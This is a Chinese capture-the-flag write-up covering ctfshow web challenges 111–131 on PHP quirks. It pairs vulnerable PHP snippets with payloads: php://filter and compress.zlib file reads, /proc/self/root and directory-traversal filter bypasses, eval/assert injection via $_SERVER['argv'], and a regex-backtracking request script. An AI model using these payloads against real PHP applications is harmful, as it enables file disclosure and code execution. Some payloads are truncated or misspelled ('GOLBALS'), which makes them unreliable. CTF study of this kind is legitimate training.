ctfshow-web入门-php特性(中)
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
ctfshow-web⼊门-php特性(中)
web111(全局变量和$GLOBALS)
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
>
$GOLBALS负责引⽤全局作⽤域中可⽤的全部变量
例如
$a=123;
$b=456;
var_dump($GLOBALS);
因此我们只需要把$GOLBALS的值赋给 v2 , v2 的值再赋给 v1 即可
payload:v1=ctfshow&v2=GOLBALS
web112(is_file绕过)
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return$file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file函数
is_file() 函数检查指定的⽂件是否是常规的⽂件。
语法
is_file(file)
①直接使⽤伪协议读取
paylaod:file=php://filter/resource=flag.php
file=compress.zlib://flag.php
②加上未被过滤的编码⽅式
payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
web113(/proc/self/root绕过is_file)
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return$file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
①/proc/self/rootd多重绕过
payload:
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p ②伪协议
payload:file=compress.zlib://flag.php
web114(filter协议利⽤)
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return$file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是⾮预期哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
file=php://filter/resource=flag.php
web115(trim+is_numeric绕过)
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return$num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo$flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker";
}
trim() 函数
trim() 函数移除字符串两侧的空⽩字符或其他预定义字符
⽤法
trim(string,charlist)
trim+is_numeric过滤之后只会留下换页符(%0c) 和 + - 两个符号
payload:num=%0c36
web123(CLI绕过)
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo$flag;
}
}
}
>
1、cli模式(命令⾏)下
第⼀个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web⽹页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适⽤
经过测试模拟传参
<?php
function curl($url,$data){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
curl_close($ch);
return strlen($response);
}
$url="http://127.0.0.1/test.php";
for ($i=0; $i <=128 ; $i++) {
for ($j=0; $j <=128 ; $j++) {
$data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
if(curl($url,$data)!=0){
echo$data."\n";
}
}
}
得到结果为 CTF%=1
某⼤佬的总结
CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去
payload:
CTF_SHOW=&CTF[=&fun=echo$flag
web125(同上)
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";");
if($fl0g==="flag_give_me"){
echo$flag;
}
}
}
>
payload:
1=flag.php
POST:CTF_SHOW=&CTF[=&fun=highlight_file($_GET[1])
web126(同上)
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";");
if($fl0g==="flag_give_me"){
echo$flag;
}
}
}
①payload
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[=&fun=parse_str($a[1])
②payload
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[=&fun=assert($a[0])
web127(waf测试)
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo$flag;
}
经过测试
<?php
function curl($url){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
return strlen($result);
}
for ($i=0; $i < 128; $i++) {
$url="http://127.0.0.1/flag.php?ctf".urlencode(chr($i))."show=1";
if(curl($url)!==0){
echo urlencode(chr($i))."\n";
}
}
我们发现
ctf + _ [ . show 等同于 ctf_show
payload:
ctf show=ilove36d
web128(gettext拓展的使⽤)
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
gettext拓展的使⽤
在开启该拓展后 _() 等效于 gettext()
get_defined_vars — 返回由所有已定义变量所组成的数组
payload:f1=_&f2=get_defined_vars
web129(⽬录穿越)
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos函数
stripos() 函数查找字符串在另⼀字符串中第⼀次出现的位置(不区分⼤⼩写)
语法
stripos(string,find,start)
①⽬录穿越
payload:
f=/ctfshow/../../../../var/www/html/flag.php
②伪协议
f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
web130(正则回溯)
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo$flag;
}
①payload:
POST:f=ctfshow
②正则回溯
payload:
import requests
url="http://192fae89-42a3-4ca8-945b-3901a4eaab40.chall.ctf.show/" data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)
web131(正则回溯)
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo$flag;
}
payload 同130。